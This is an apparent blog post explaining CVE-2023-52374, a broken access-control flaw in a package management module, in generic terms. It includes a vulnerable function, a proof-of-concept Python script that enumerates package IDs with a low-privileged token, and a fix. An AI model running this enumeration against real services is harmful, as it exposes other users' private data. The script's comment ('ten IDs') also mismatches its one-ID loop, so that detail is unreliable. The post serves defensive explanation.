CVE-2023-52374 - Understanding and Exploiting a Permission Control Flaw in Package Management

In late 2023, a permission control vulnerability was found in the package management module of a popular software platform, cataloged as CVE-2023-52374. This vulnerability, if left unpatched, may let malicious users or attackers gain unauthorized access to sensitive information, threatening the confidentiality of your services.

In this post, I will break down the vulnerability in simple terms, provide a step-by-step overview of how it can be exploited, and share code samples to help you understand the mechanics behind the attack. You will also find references to trusted sources for further reading.

What is CVE-2023-52374?

CVE-2023-52374 refers to a permission control flaw in the package management module of certain applications. Due to improper checks on user privileges, an attacker can perform actions or access information without proper authorization.

Impact:

Where Is the Problem?

In many package management modules (consider package managers for Linux, app stores, web application plugins), there's code to check who can add, remove, or display package details. Sometimes, these checks are improperly coded, allowing a malicious user to bypass restrictions.

A common code pattern that leads to this flaw looks like this

# Example package_manager.py
def view_package_details(user, package_id):
    # BUG: Fails to check if this user is allowed to view this package
    package = db.get_package(package_id)
    return package.details

With no access check on user, any authenticated (or even unauthenticated, if not checked elsewhere) person can view package details—some of which may be sensitive (like private URLs, secrets, unpublished software).

Exploit Scenario

Suppose a web application manages a repository of premium or restricted plugins for different user groups. If a user is not supposed to see certain package details, but the above function is used to show details on a page without checking the user's permissions, any user may look up details of any package simply by guessing the package ID.

Example HTTP request (for a REST API)

GET /api/packages/details?id=12345
Authorization: Bearer <evil-user-token>

If the backend doesn’t verify if the user token has rights to view package 12345, the information gets leaked.

Proof of Concept (PoC) Exploit

Below is a practical, minimal exploit showing how an attacker could abuse this flaw.

Let's assume the application exposes a REST API to get package details. We will use Python to automate the exploitation.

import requests

API_URL = "https://target.example.com/api/packages/details";
EVIL_USER_TOKEN = "eyJhbGc...faketoken..."  # Attacker's token

for package_id in range(100, 101):  # Try ten package IDs
    resp = requests.get(
        API_URL,
        params={"id": str(package_id)},
        headers={"Authorization": f"Bearer {EVIL_USER_TOKEN}"}
    )
    if resp.status_code == 200:
        print(f"[+] Package {package_id} details:\n{resp.text}")
    else:
        print(f"[-] Package {package_id} inaccessible")

This script iterates over possible package IDs, attempting to access each set of details. If permissions are not checked, the attacker will get information not meant for their eyes.

Note: You must have a valid (but low-privileged) user token; no admin rights are needed.

How to Fix

- Ensure *every* function that returns, stores, or modifies package data strictly checks user permissions before proceeding.

Sample fix

def view_package_details(user, package_id):
    package = db.get_package(package_id)
    if not user.has_permission('view', package):
        raise PermissionError("Not allowed to view this package")
    return package.details

References

- NVD entry for CVE-2023-52374
- MITRE CVE database - CVE-2023-52374
- OWASP Broken Access Control Cheat Sheet
- How to Fix Broken Access Control (OWASP blog)

Conclusion

CVE-2023-52374 highlights a classic but severe security issue: failing to properly check permissions in backend modules. Even a small oversight in package management can have big consequences, as attackers may silently access sensitive information with little effort.

Always audit your permission logic—and don’t expose more than you must!

If you’re running or developing affected software, patch immediately and verify authorization checks for all sensitive actions. Being proactive prevents unauthorized data leaks and protects your users’ trust.


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Timeline

Published on: 02/18/2024 04:15:08 UTC
Last modified on: 11/19/2024 22:35:03 UTC